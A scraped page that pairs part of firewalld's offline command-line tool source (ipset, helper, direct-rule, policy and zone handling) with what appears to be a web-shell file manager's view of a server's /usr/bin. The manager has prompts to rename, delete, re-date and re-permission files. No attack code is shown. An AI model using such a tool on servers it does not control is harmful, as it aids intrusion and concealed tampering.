settings.setEntries(old_entries) if changed: fw.config.set_ipset_config(ipset, settings.settings) elif a.remove_entries_from_file: ipset = fw.config.get_ipset(a.ipset) settings = FirewallClientIPSetSettings( list(fw.config.get_ipset_config(ipset))) changed = False for filename in a.remove_entries_from_file: try: entries = cmd.get_ipset_entries_from_file(filename) except IOError as msg: message = "Failed to read file '%s': %s" % (filename, msg) if len(a.remove_entries_from_file) > 1: cmd.print_warning(message) else: cmd.print_and_exit(message) else: old_entries = settings.getEntries() entries_set = set() for entry in old_entries: entries_set.add(entry) for entry in entries: if entry in entries_set: old_entries.remove(entry) entries_set.discard(entry) changed = True else: cmd.print_if_verbose("Warning: NOT_ENABLED: %s" % \ entry) if changed: settings.setEntries(old_entries) if changed: fw.config.set_ipset_config(ipset, settings.settings) elif a.set_description: ipset = fw.config.get_ipset(a.ipset) settings = FirewallClientIPSetSettings( list(fw.config.get_ipset_config(ipset))) settings.setDescription(a.set_description) fw.config.set_ipset_config(ipset, settings.settings) elif a.get_description: ipset = fw.config.get_ipset(a.ipset) settings = FirewallClientIPSetSettings( list(fw.config.get_ipset_config(ipset))) cmd.print_and_exit(settings.getDescription()) elif a.set_short: ipset = fw.config.get_ipset(a.ipset) settings = FirewallClientIPSetSettings( list(fw.config.get_ipset_config(ipset))) settings.setShort(a.set_short) fw.config.set_ipset_config(ipset, settings.settings) elif a.get_short: ipset = fw.config.get_ipset(a.ipset) settings = FirewallClientIPSetSettings( list(fw.config.get_ipset_config(ipset))) cmd.print_and_exit(settings.getShort()) else: cmd.fail(parser.format_usage() + "Unknown option") cmd.print_and_exit("success") # helper elif a.get_helpers: cmd.print_and_exit(" ".join(sorted(fw.config.get_helpers()))) elif a.new_helper: if not a.module: cmd.fail(parser.format_usage() + "No module specified.") settings = FirewallClientHelperSettings() settings.setModule(a.module) if a.family: settings.setFamily(a.family) fw.config.new_helper(a.new_helper, settings.settings) elif a.new_helper_from_file: filename = os.path.basename(a.new_helper_from_file) dirname = os.path.dirname(a.new_helper_from_file) if dirname == "": dirname = "./" try: obj = helper_reader(filename, dirname) except FirewallError as msg: cmd.print_and_exit("Failed to load helper file '%s': %s" % \ (a.new_helper_from_file, msg), msg.code) except IOError as msg: cmd.fail("Failed to load helper file: %s" % msg) if a.name: obj.name = a.name fw.config.new_helper(obj.name, obj.export_config()) elif a.delete_helper: obj = fw.config.get_helper(a.delete_helper) fw.config.remove_helper(obj) elif a.load_helper_defaults: obj = fw.config.get_helper(a.load_helper_defaults) fw.config.load_helper_defaults(obj) elif a.info_helper: obj = fw.config.get_helper(a.info_helper) settings = FirewallClientHelperSettings( list(fw.config.get_helper_config(obj))) cmd.print_helper_info(a.info_helper, settings) sys.exit(0) elif a.path_helper: obj = fw.config.get_helper(a.path_helper) cmd.print_and_exit("%s/%s" % (obj.path, obj.filename)) elif a.helper: obj = fw.config.get_helper(a.helper) settings = FirewallClientHelperSettings( list(fw.config.get_helper_config(obj))) if a.add_port: cmd.add_sequence(a.add_port, settings.addPort, settings.queryPort, cmd.parse_port, "%s/%s") fw.config.set_helper_config(obj, settings.settings) elif a.remove_port: cmd.remove_sequence(a.remove_port, settings.removePort, settings.queryPort, cmd.parse_port, "%s/%s") fw.config.set_helper_config(obj, settings.settings) elif a.query_port: cmd.query_sequence(a.query_port, settings.queryPort, cmd.parse_port, "%s/%s") elif a.get_ports: l = settings.getPorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in l])) elif a.get_module: cmd.print_and_exit(settings.getModule()) elif a.set_module: settings.setModule(cmd.check_module(a.set_module)) fw.config.set_helper_config(obj, settings.settings) elif a.get_family: cmd.print_and_exit(settings.getFamily()) elif a.set_family: settings.setFamily(cmd.check_helper_family(a.set_family[0])) fw.config.set_helper_config(obj, settings.settings) elif a.set_description: settings.setDescription(a.set_description) fw.config.set_helper_config(obj, settings.settings) elif a.get_description: cmd.print_and_exit(settings.getDescription()) elif a.set_short: settings.setShort(a.set_short) fw.config.set_helper_config(obj, settings.settings) elif a.get_short: cmd.print_and_exit(settings.getShort()) else: cmd.fail(parser.format_usage() + "Unknown option") # lockdown whitelist elif options_lockdown_whitelist: whitelist = fw.config.get_policies().lockdown_whitelist # commands if a.list_lockdown_whitelist_commands: l = whitelist.get_commands() cmd.print_and_exit("\n".join(l)) elif a.add_lockdown_whitelist_command: cmd.add_sequence(a.add_lockdown_whitelist_command, whitelist.add_command, whitelist.has_command, None, "'%s'") elif a.remove_lockdown_whitelist_command: cmd.remove_sequence(a.remove_lockdown_whitelist_command, whitelist.remove_command, whitelist.has_command, None, "'%s'") elif a.query_lockdown_whitelist_command: cmd.query_sequence(a.query_lockdown_whitelist_command, whitelist.has_command, None, "'%s'") # contexts elif a.list_lockdown_whitelist_contexts: l = whitelist.get_contexts() cmd.print_and_exit("\n".join(l)) elif a.add_lockdown_whitelist_context: cmd.add_sequence(a.add_lockdown_whitelist_context, whitelist.add_context, whitelist.has_context, None, "'%s'") elif a.remove_lockdown_whitelist_context: cmd.remove_sequence(a.remove_lockdown_whitelist_context, whitelist.remove_context, whitelist.has_context, None, "'%s'") elif a.query_lockdown_whitelist_context: cmd.query_sequence(a.query_lockdown_whitelist_context, whitelist.has_context, None, "'%s'") # uids elif a.list_lockdown_whitelist_uids: l = whitelist.get_uids() cmd.print_and_exit(" ".join(map(str, l))) elif a.add_lockdown_whitelist_uid: cmd.add_sequence(a.add_lockdown_whitelist_uid, whitelist.add_uid, whitelist.has_uid, None, "'%s'") elif a.remove_lockdown_whitelist_uid: cmd.remove_sequence(a.remove_lockdown_whitelist_uid, whitelist.remove_uid, whitelist.has_uid, None, "'%s'") elif a.query_lockdown_whitelist_uid: cmd.query_sequence(a.query_lockdown_whitelist_uid, whitelist.has_uid, None, "'%s'") # users elif a.list_lockdown_whitelist_users: l = whitelist.get_users() cmd.print_and_exit("\n".join(l)) elif a.add_lockdown_whitelist_user: cmd.add_sequence(a.add_lockdown_whitelist_user, whitelist.add_user, whitelist.has_user, None, "'%s'") elif a.remove_lockdown_whitelist_user: cmd.remove_sequence(a.remove_lockdown_whitelist_user, whitelist.remove_user, whitelist.has_user, None, "'%s'") elif a.query_lockdown_whitelist_user: cmd.query_sequence(a.query_lockdown_whitelist_user, whitelist.has_user, None, "'%s'") # apply whitelist changes whitelist.write() elif options_direct: obj = fw.config.get_direct() if a.add_passthrough: if len(a.add_passthrough) < 2: cmd.fail("usage: --direct --add-passthrough { ipv4 | ipv6 | eb } <args>") cmd.print_msg( obj.add_passthrough(cmd.check_ipv(a.add_passthrough[0]), splitArgs(a.add_passthrough[1]))) elif a.remove_passthrough: if len(a.remove_passthrough) < 2: cmd.fail("usage: --direct --remove-passthrough { ipv4 | ipv6 | eb } <args>") obj.remove_passthrough(cmd.check_ipv(a.remove_passthrough[0]), splitArgs(a.remove_passthrough[1])) elif a.query_passthrough: if len(a.query_passthrough) < 2: cmd.fail("usage: --direct --query-passthrough { ipv4 | ipv6 | eb } <args>") cmd.print_query_result( obj.query_passthrough(cmd.check_ipv(a.query_passthrough[0]), splitArgs(a.query_passthrough[1]))) sys.exit(0) elif a.get_passthroughs: rules = obj.get_passthroughs(cmd.check_ipv(a.get_passthroughs[0])) for rule in rules: cmd.print_msg(joinArgs(rule)) sys.exit(0) elif a.get_all_passthroughs: rules = obj.get_all_passthroughs() for ipv in rules: for rule in rules[ipv]: cmd.print_msg("%s %s" % (ipv, joinArgs(rule))) sys.exit(0) elif a.add_chain: obj.add_chain(cmd.check_ipv(a.add_chain[0]), a.add_chain[1], a.add_chain[2]) elif a.remove_chain: obj.remove_chain(cmd.check_ipv(a.remove_chain[0]), a.remove_chain[1], a.remove_chain[2]) elif a.query_chain: cmd.print_query_result( obj.query_chain(cmd.check_ipv(a.query_chain[0]), a.query_chain[1], a.query_chain[2])) sys.exit(0) elif a.get_chains: cmd.print_and_exit( " ".join(obj.get_chains(cmd.check_ipv(a.get_chains[0]), a.get_chains[1]))) sys.exit(0) elif a.get_all_chains: chains = obj.get_all_chains() for (ipv, table) in chains: for chain in chains[(ipv, table)]: cmd.print_msg("%s %s %s" % (ipv, table, chain)) sys.exit(0) elif a.add_rule: if len(a.add_rule) < 5: cmd.fail("usage: --direct --add-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") try: priority = int(a.add_rule[3]) except ValueError: cmd.fail("wrong priority\nusage: --direct --add-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") obj.add_rule(cmd.check_ipv(a.add_rule[0]), a.add_rule[1], a.add_rule[2], priority, splitArgs(a.add_rule[4])) elif a.remove_rule: if len(a.remove_rule) < 5: cmd.fail("usage: --direct --remove-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") try: priority = int(a.remove_rule[3]) except ValueError: cmd.fail("usage: --direct --remove-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") obj.remove_rule(cmd.check_ipv(a.remove_rule[0]), a.remove_rule[1], a.remove_rule[2], priority, splitArgs(a.remove_rule[4])) elif a.remove_rules: if len(a.remove_rules) < 3: cmd.fail("usage: --direct --remove-rules { ipv4 | ipv6 | eb } <table> <chain>") obj.remove_rules(cmd.check_ipv(a.remove_rules[0]), a.remove_rules[1], a.remove_rules[2]) elif a.query_rule: if len(a.query_rule) < 5: cmd.fail("usage: --direct --query-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") try: priority = int(a.query_rule[3]) except ValueError: cmd.fail("usage: --direct --query-rule { ipv4 | ipv6 | eb } <table> <chain> <priority> <args>") cmd.print_query_result( obj.query_rule(cmd.check_ipv(a.query_rule[0]), a.query_rule[1], a.query_rule[2], priority, splitArgs(a.query_rule[4]))) sys.exit(0) elif a.get_rules: rules = obj.get_rules(cmd.check_ipv(a.get_rules[0]), a.get_rules[1], a.get_rules[2]) for (priority, rule) in rules: cmd.print_msg("%d %s" % (priority, joinArgs(rule))) sys.exit(0) elif a.get_all_rules: rules = obj.get_all_rules() for (ipv, table, chain) in rules: for (priority, rule) in rules[(ipv, table, chain)]: cmd.print_msg("%s %s %s %d %s" % \ (ipv, table, chain, priority, joinArgs(rule))) sys.exit(0) obj.write() # list everything elif a.list_all_policies: policies = fw.config.get_policy_objects() for policy in policies: fw_policy = fw.config.get_policy_object(policy) fw_settings = FirewallClientPolicySettings(fw.config.get_policy_object_config_dict(fw_policy)) cmd.print_policy_info(policy, fw_settings) cmd.print_msg("") sys.exit(0) elif a.policy: fw_policy = fw.config.get_policy_object(a.policy) fw_settings = FirewallClientPolicySettings(fw.config.get_policy_object_config_dict(fw_policy)) # ingress zones if a.list_ingress_zones: l = fw_settings.getIngressZones() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_ingress_zone: cmd.add_sequence(a.add_ingress_zone, fw_settings.addIngressZone, fw_settings.queryIngressZone, None, "'%s'") elif a.remove_ingress_zone: cmd.remove_sequence(a.remove_ingress_zone, fw_settings.removeIngressZone, fw_settings.queryIngressZone, None, "'%s'") elif a.query_ingress_zone: cmd.query_sequence(a.query_ingress_zone, fw_settings.queryIngressZone, None, "'%s'") # egress zones if a.list_egress_zones: l = fw_settings.getEgressZones() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_egress_zone: cmd.add_sequence(a.add_egress_zone, fw_settings.addEgressZone, fw_settings.queryEgressZone, None, "'%s'") elif a.remove_egress_zone: cmd.remove_sequence(a.remove_egress_zone, fw_settings.removeEgressZone, fw_settings.queryEgressZone, None, "'%s'") elif a.query_egress_zone: cmd.query_sequence(a.query_egress_zone, fw_settings.queryEgressZone, None, "'%s'") # priority elif a.get_priority: cmd.print_and_exit(str(fw_settings.getPriority())) elif a.set_priority: fw_settings.setPriority(a.set_priority) # rich rules if a.list_rich_rules: l = fw_settings.getRichRules() cmd.print_and_exit("\n".join(l)) elif a.add_rich_rule: cmd.add_sequence(a.add_rich_rule, fw_settings.addRichRule, fw_settings.queryRichRule, None, "'%s'") elif a.remove_rich_rule: cmd.remove_sequence(a.remove_rich_rule, fw_settings.removeRichRule, fw_settings.queryRichRule, None, "'%s'") elif a.query_rich_rule: cmd.query_sequence(a.query_rich_rule, fw_settings.queryRichRule, None, "'%s'") # service if a.list_services: l = fw_settings.getServices() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_service: cmd.add_sequence(a.add_service, fw_settings.addService, fw_settings.queryService, None, "'%s'") elif a.remove_service_from_policy: cmd.remove_sequence(a.remove_service_from_policy, fw_settings.removeService, fw_settings.queryService, None, "'%s'") elif a.query_service: cmd.query_sequence(a.query_service, fw_settings.queryService, None, "'%s'") # port elif a.list_ports: l = fw_settings.getPorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))])) elif a.add_port: cmd.add_sequence(a.add_port, fw_settings.addPort, fw_settings.queryPort, cmd.parse_port, "%s/%s") elif a.remove_port: cmd.remove_sequence(a.remove_port, fw_settings.removePort, fw_settings.queryPort, cmd.parse_port, "%s/%s") elif a.query_port: cmd.query_sequence(a.query_port, fw_settings.queryPort, cmd.parse_port, "%s/%s") # protocol elif a.list_protocols: l = fw_settings.getProtocols() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_protocol: cmd.add_sequence(a.add_protocol, fw_settings.addProtocol, fw_settings.queryProtocol, None, "'%s'") elif a.remove_protocol: cmd.remove_sequence(a.remove_protocol, fw_settings.removeProtocol, fw_settings.queryProtocol, None, "'%s'") elif a.query_protocol: cmd.query_sequence(a.query_protocol, fw_settings.queryProtocol, None, "'%s'") # source port elif a.list_source_ports: l = fw_settings.getSourcePorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))])) elif a.add_source_port: cmd.add_sequence(a.add_source_port, fw_settings.addSourcePort, fw_settings.querySourcePort, cmd.parse_port, "%s/%s") elif a.remove_source_port: cmd.remove_sequence(a.remove_source_port, fw_settings.removeSourcePort, fw_settings.querySourcePort, cmd.parse_port, "%s/%s") elif a.query_source_port: cmd.query_sequence(a.query_source_port, fw_settings.querySourcePort, cmd.parse_port, "%s/%s") # masquerade elif a.add_masquerade: fw_settings.setMasquerade(True) elif a.remove_masquerade: fw_settings.setMasquerade(False) elif a.query_masquerade: cmd.print_query_result(fw_settings.getMasquerade()) # forward port elif a.list_forward_ports: l = fw_settings.getForwardPorts() cmd.print_and_exit("\n".join(["port=%s:proto=%s:toport=%s:toaddr=%s" % (_port, _protocol, _toport, _toaddr) for (_port, _protocol, _toport, _toaddr) in l])) elif a.add_forward_port: cmd.add_sequence(a.add_forward_port, fw_settings.addForwardPort, fw_settings.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") elif a.remove_forward_port: cmd.remove_sequence(a.remove_forward_port, fw_settings.removeForwardPort, fw_settings.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") elif a.query_forward_port: cmd.query_sequence(a.query_forward_port, fw_settings.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") # block icmp elif a.list_icmp_blocks: l = fw_settings.getIcmpBlocks() cmd.print_and_exit(" ".join(l)) elif a.add_icmp_block: cmd.add_sequence(a.add_icmp_block, fw_settings.addIcmpBlock, fw_settings.queryIcmpBlock, None, "'%s'") elif a.remove_icmp_block: cmd.remove_sequence(a.remove_icmp_block, fw_settings.removeIcmpBlock, fw_settings.queryIcmpBlock, None, "'%s'") elif a.query_icmp_block: cmd.query_sequence(a.query_icmp_block, fw_settings.queryIcmpBlock, None, "'%s'") # policy target elif a.get_target: cmd.print_and_exit(fw_settings.getTarget()) elif a.set_target: fw_settings.setTarget(a.set_target) # list all policy settings elif a.list_all: cmd.print_policy_info(a.policy, fw_settings) sys.exit(0) elif a.set_description: fw_settings.setDescription(a.set_description) elif a.get_description: cmd.print_and_exit(fw_settings.getDescription()) elif a.set_short: fw_settings.setShort(a.set_short) elif a.get_short: cmd.print_and_exit(fw_settings.getShort()) fw.config.set_policy_object_config_dict(fw_policy, fw_settings.getSettingsDict()) cmd.print_and_exit("success") else: if zone == "": zone = fw.get_default_zone() fw_zone = fw.config.get_zone(zone) fw_settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(fw_zone)) # interface if a.list_interfaces: l = fw_settings.getInterfaces() cmd.print_and_exit(" ".join(l)) elif a.get_zone_of_interface: for interface in a.get_zone_of_interface: ret = [ ] for zone in fw.config.get_zones(): obj = fw.config.get_zone(zone) if interface in obj.interfaces: ret.append(obj.name) if len(ret) > 1: # Even it shouldn't happen, it's actually possible that # the same interface is in several zone XML files cmd.print_warning(" ".join(ret) + " (ERROR: interface '%s' is in %s zone XML files, can be only in one)" % (interface, len(ret))) if len(ret) == 1: if len(a.get_zone_of_interface) > 1: cmd.print_warning("%s: %s" % (interface, ret[0])) else: cmd.print_and_exit(ret[0]) else: if len(a.get_zone_of_interface) > 1: cmd.print_warning("%s: no zone" % interface) else: cmd.print_and_exit("no zone", 2) elif a.change_interface: for interface in a.change_interface: for old_zone in fw.config.get_zones(): old_zone_obj = fw.config.get_zone(old_zone) if interface in old_zone_obj.interfaces: if old_zone_obj.name != zone: old_zone_settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(old_zone_obj)) old_zone_settings.removeInterface(interface) # remove from old fw.config.set_zone_config_dict(old_zone_obj, old_zone_settings.getSettingsDict()) fw_settings.addInterface(interface) # add to new elif a.add_interface: cmd.add_sequence(a.add_interface, fw_settings.addInterface, fw_settings.queryInterface, None, "'%s'") elif a.remove_interface: cmd.remove_sequence(a.remove_interface, fw_settings.removeInterface, fw_settings.queryInterface, None, "'%s'") elif a.query_interface: cmd.query_sequence(a.query_interface, fw_settings.queryInterface, None, "'%s'") # source if a.list_sources: sources = fw_settings.getSources() cmd.print_and_exit(" ".join(sources)) elif a.get_zone_of_source: for source in a.get_zone_of_source: ret = [ ] for zone in fw.config.get_zones(): obj = fw.config.get_zone(zone) if source in obj.sources: ret.append(obj.name) if len(ret) > 1: # Even it shouldn't happen, it's actually possible that # the same source is in several zone XML files cmd.print_warning(" ".join(ret) + " (ERROR: source '%s' is in %s zone XML files, can be only in one)" % (source, len(ret))) if len(ret) == 1: if len(a.get_zone_of_source) > 1: cmd.print_warning("%s: %s" % (source, ret[0])) else: cmd.print_and_exit(ret[0]) else: if len(a.get_zone_of_source) > 1: cmd.print_warning("%s: no zone" % source) else: cmd.print_and_exit("no zone", 2) elif a.change_source: for source in a.change_source: for old_zone in fw.config.get_zones(): old_zone_obj = fw.config.get_zone(old_zone) if source in old_zone_obj.sources: if old_zone_obj.name != zone: old_zone_settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(old_zone_obj)) old_zone_settings.removeSource(source) # remove from old fw.config.set_zone_config_dict(old_zone_obj, old_zone_settings.getSettingsDict()) fw_settings.addSource(source) # add to new elif a.add_source: cmd.add_sequence(a.add_source, fw_settings.addSource, fw_settings.querySource, None, "'%s'") elif a.remove_source: cmd.remove_sequence(a.remove_source, fw_settings.removeSource, fw_settings.querySource, None, "'%s'") elif a.query_source: cmd.query_sequence(a.query_source, fw_settings.querySource, None, "'%s'") # rich rules if a.list_rich_rules: l = fw_settings.getRichRules() cmd.print_and_exit("\n".join(l)) elif a.add_rich_rule: cmd.add_sequence(a.add_rich_rule, fw_settings.addRichRule, fw_settings.queryRichRule, None, "'%s'") elif a.remove_rich_rule: cmd.remove_sequence(a.remove_rich_rule, fw_settings.removeRichRule, fw_settings.queryRichRule, None, "'%s'") elif a.query_rich_rule: cmd.query_sequence(a.query_rich_rule, fw_settings.queryRichRule, None, "'%s'") # service if a.list_services: l = fw_settings.getServices() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_service: cmd.add_sequence(a.add_service, fw_settings.addService, fw_settings.queryService, None, "'%s'") elif a.remove_service_from_zone: cmd.remove_sequence(a.remove_service_from_zone, fw_settings.removeService, fw_settings.queryService, None, "'%s'") elif a.query_service: cmd.query_sequence(a.query_service, fw_settings.queryService, None, "'%s'") # port elif a.list_ports: l = fw_settings.getPorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))])) elif a.add_port: cmd.add_sequence(a.add_port, fw_settings.addPort, fw_settings.queryPort, cmd.parse_port, "%s/%s") elif a.remove_port: cmd.remove_sequence(a.remove_port, fw_settings.removePort, fw_settings.queryPort, cmd.parse_port, "%s/%s") elif a.query_port: cmd.query_sequence(a.query_port, fw_settings.queryPort, cmd.parse_port, "%s/%s") # protocol elif a.list_protocols: l = fw_settings.getProtocols() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_protocol: cmd.add_sequence(a.add_protocol, fw_settings.addProtocol, fw_settings.queryProtocol, None, "'%s'") elif a.remove_protocol: cmd.remove_sequence(a.remove_protocol, fw_settings.removeProtocol, fw_settings.queryProtocol, None, "'%s'") elif a.query_protocol: cmd.query_sequence(a.query_protocol, fw_settings.queryProtocol, None, "'%s'") # source port elif a.list_source_ports: l = fw_settings.getSourcePorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))])) elif a.add_source_port: cmd.add_sequence(a.add_source_port, fw_settings.addSourcePort, fw_settings.querySourcePort, cmd.parse_port, "%s/%s") elif a.remove_source_port: cmd.remove_sequence(a.remove_source_port, fw_settings.removeSourcePort, fw_settings.querySourcePort, cmd.parse_port, "%s/%s") elif a.query_source_port: cmd.query_sequence(a.query_source_port, fw_settings.querySourcePort, cmd.parse_port, "%s/%s") # forward elif a.add_forward: fw_settings.setForward(True) elif a.remove_forward: fw_settings.setForward(False) elif a.query_forward: cmd.print_query_result(fw_settings.getForward()) # masquerade elif a.add_masquerade: fw_settings.setMasquerade(True) elif a.remove_masquerade: fw_settings.setMasquerade(False) elif a.query_masquerade: cmd.print_query_result(fw_settings.getMasquerade()) # forward port elif a.list_forward_ports: l = fw_settings.getForwardPorts() cmd.print_and_exit("\n".join(["port=%s:proto=%s:toport=%s:toaddr=%s" % (_port, _protocol, _toport, _toaddr) for (_port, _protocol, _toport, _toaddr) in l])) elif a.add_forward_port: cmd.add_sequence(a.add_forward_port, fw_settings.addForwardPort, fw_settings.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") elif a.remove_forward_port: cmd.remove_sequence(a.remove_forward_port, fw_settings.removeForwardPort, fw_settings.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") elif a.query_forward_port: cmd.query_sequence(a.query_forward_port, fw_settings.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") # block icmp elif a.list_icmp_blocks: l = fw_settings.getIcmpBlocks() cmd.print_and_exit(" ".join(l)) elif a.add_icmp_block: cmd.add_sequence(a.add_icmp_block, fw_settings.addIcmpBlock, fw_settings.queryIcmpBlock, None, "'%s'") elif a.remove_icmp_block: cmd.remove_sequence(a.remove_icmp_block, fw_settings.removeIcmpBlock, fw_settings.queryIcmpBlock, None, "'%s'") elif a.query_icmp_block: cmd.query_sequence(a.query_icmp_block, fw_settings.queryIcmpBlock, None, "'%s'") # icmp block inversion elif a.add_icmp_block_inversion: fw_settings.addIcmpBlockInversion() elif a.remove_icmp_block_inversion: fw_settings.removeIcmpBlockInversion() elif a.query_icmp_block_inversion: cmd.print_query_result(fw_settings.queryIcmpBlockInversion()) # zone target elif a.get_target: cmd.print_and_exit(fw_settings.getTarget()) elif a.set_target: fw_settings.setTarget(a.set_target) # list all zone settings elif a.list_all: cmd.print_zone_info(zone if zone else fw.get_default_zone(), fw_settings) sys.exit(0) # list everything elif a.list_all_zones: zones = fw.config.get_zones() for zone in zones: fw_zone = fw.config.get_zone(zone) fw_settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(fw_zone)) cmd.print_zone_info(zone, fw_settings) cmd.print_msg("") sys.exit(0) elif a.set_description: fw_settings.setDescription(a.set_description) elif a.get_description: cmd.print_and_exit(fw_settings.getDescription()) elif a.set_short: fw_settings.setShort(a.set_short) elif a.get_short: cmd.print_and_exit(fw_settings.getShort()) fw.config.set_zone_config_dict(fw_zone, fw_settings.getSettingsDict()) cmd.print_and_exit("success") except FirewallError as msg: cmd.print_and_exit("%s" % msg, msg.code) except Exception as msg: cmd.fail("%s" % msg) else: cmd.print_and_exit("success")
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
dr-xr-xr-x
2025-12-11 10:57:07
..
DIR
-
drwxr-xr-x
2025-06-28 07:14:01
2to3
text/plain
106 B
-rwxr-xr-x
2025-08-26 09:08:07
2to3-3.6
text/plain
106 B
-rwxr-xr-x
2025-08-26 09:08:07
GET
text/x-perl
15.84 KB
-rwxr-xr-x
2022-04-22 08:13:06
HEAD
text/x-perl
15.84 KB
-rwxr-xr-x
2022-04-22 08:13:06
Magick-config
text/x-shellscript
1.43 KB
-rwxr-xr-x
2025-04-01 01:10:59
MagickCore-config
text/x-shellscript
1.56 KB
-rwxr-xr-x
2025-04-01 01:10:59
MagickWand-config
text/x-shellscript
1.56 KB
-rwxr-xr-x
2025-04-01 01:10:59
Mail
application/x-pie-executable
408.89 KB
-rwxr-xr-x
2019-10-13 12:19:50
POST
text/x-perl
15.84 KB
-rwxr-xr-x
2022-04-22 08:13:06
Wand-config
text/x-shellscript
1.42 KB
-rwxr-xr-x
2025-04-01 01:10:59
[
application/x-pie-executable
53.67 KB
-rwxr-xr-x
2023-04-01 08:44:39
ab
application/x-pie-executable
72.63 KB
-rwxr-xr-x
2025-12-08 02:49:31
aclocal
text/x-perl
35.62 KB
-rwxr-xr-x
2023-10-14 08:00:43
aclocal-1.16
text/x-perl
35.62 KB
-rwxr-xr-x
2023-10-14 08:00:43
acpi_listen
application/x-pie-executable
18.26 KB
-rwxr-xr-x
2019-10-14 04:19:15
acyclic
application/x-pie-executable
12.41 KB
-rwxr-xr-x
2024-04-06 12:47:15
addr2line
application/x-pie-executable
33.41 KB
-rwxr-xr-x
2025-10-07 06:44:04
agentxtrap
application/x-pie-executable
24.54 KB
-rwxr-xr-x
2025-10-07 09:19:27
alias
text/x-shellscript
29 B
-rwxr-xr-x
2025-08-26 08:48:39
animate
application/x-pie-executable
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
apropos
application/x-pie-executable
54.04 KB
-rwxr-xr-x
2021-10-08 01:04:46
ar
application/x-pie-executable
61.97 KB
-rwxr-xr-x
2025-10-07 06:44:04
arch
application/x-pie-executable
37.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
aria_chk
application/x-pie-executable
4.53 MB
-rwxr-xr-x
2025-10-25 05:49:50
aria_dump_log
application/x-pie-executable
4.33 MB
-rwxr-xr-x
2025-10-25 05:49:50
aria_ftdump
application/x-pie-executable
4.34 MB
-rwxr-xr-x
2025-10-25 05:49:49
aria_pack
application/x-pie-executable
4.37 MB
-rwxr-xr-x
2025-10-25 05:49:49
aria_read_log
application/x-pie-executable
4.49 MB
-rwxr-xr-x
2025-10-25 05:49:50
arpaname
application/x-pie-executable
11.82 KB
-rwxr-xr-x
2025-11-06 07:45:52
as
application/x-pie-executable
889.91 KB
-rwxr-xr-x
2025-10-07 06:44:04
aspell
application/x-pie-executable
159.5 KB
-rwxr-xr-x
2022-04-18 03:10:53
at
application/x-pie-executable
57.33 KB
-rwxr-xr-x
2022-10-10 10:23:17
atop
application/x-executable
284.66 KB
-rwxr-xr-x
2022-01-11 04:41:18
atopconvert
application/x-executable
24.66 KB
-rwxr-xr-x
2022-01-11 04:41:18
atopd
text/x-shellscript
922 B
-rwxr-xr-x
2022-01-11 04:38:59
atopsar
application/x-executable
284.66 KB
-rwxr-xr-x
2022-01-11 04:41:18
atq
application/x-pie-executable
57.33 KB
-rwxr-xr-x
2022-10-10 10:23:17
atrm
application/x-pie-executable
57.33 KB
-rwxr-xr-x
2022-10-10 10:23:17
aulast
application/x-pie-executable
20.58 KB
-rwxr-xr-x
2025-07-15 09:41:57
aulastlog
application/x-pie-executable
12.44 KB
-rwxr-xr-x
2025-07-15 09:41:57
ausyscall
application/x-pie-executable
12.27 KB
-rwxr-xr-x
2025-07-15 09:41:57
authselect
application/x-pie-executable
41.13 KB
-rwxr-xr-x
2023-10-14 06:06:30
autoconf
text/x-shellscript
14.42 KB
-rwxr-xr-x
2024-08-13 07:30:48
autoheader
text/x-perl
8.33 KB
-rwxr-xr-x
2024-08-13 07:30:48
autom4te
text/x-perl
31.43 KB
-rwxr-xr-x
2024-08-13 07:30:48
automake
text/x-perl
251.9 KB
-rwxr-xr-x
2023-10-14 08:00:43
automake-1.16
text/x-perl
251.9 KB
-rwxr-xr-x
2023-10-14 08:00:43
autopoint
text/x-shellscript
25.95 KB
-rwxr-xr-x
2019-11-18 05:16:48
autoreconf
text/x-perl
20.57 KB
-rwxr-xr-x
2024-08-13 07:30:48
autoscan
text/x-perl
16.72 KB
-rwxr-xr-x
2024-08-13 07:30:48
autoupdate
text/x-perl
33.08 KB
-rwxr-xr-x
2024-08-13 07:30:48
auvirt
application/x-pie-executable
32.73 KB
-rwxr-xr-x
2025-07-15 09:41:57
awk
application/x-pie-executable
669.77 KB
-rwxr-xr-x
2022-04-18 03:56:05
b2sum
application/x-pie-executable
57.76 KB
-rwxr-xr-x
2023-04-01 08:44:39
base32
application/x-pie-executable
41.55 KB
-rwxr-xr-x
2023-04-01 08:44:39
base64
application/x-pie-executable
41.56 KB
-rwxr-xr-x
2023-04-01 08:44:39
basename
application/x-pie-executable
37.49 KB
-rwxr-xr-x
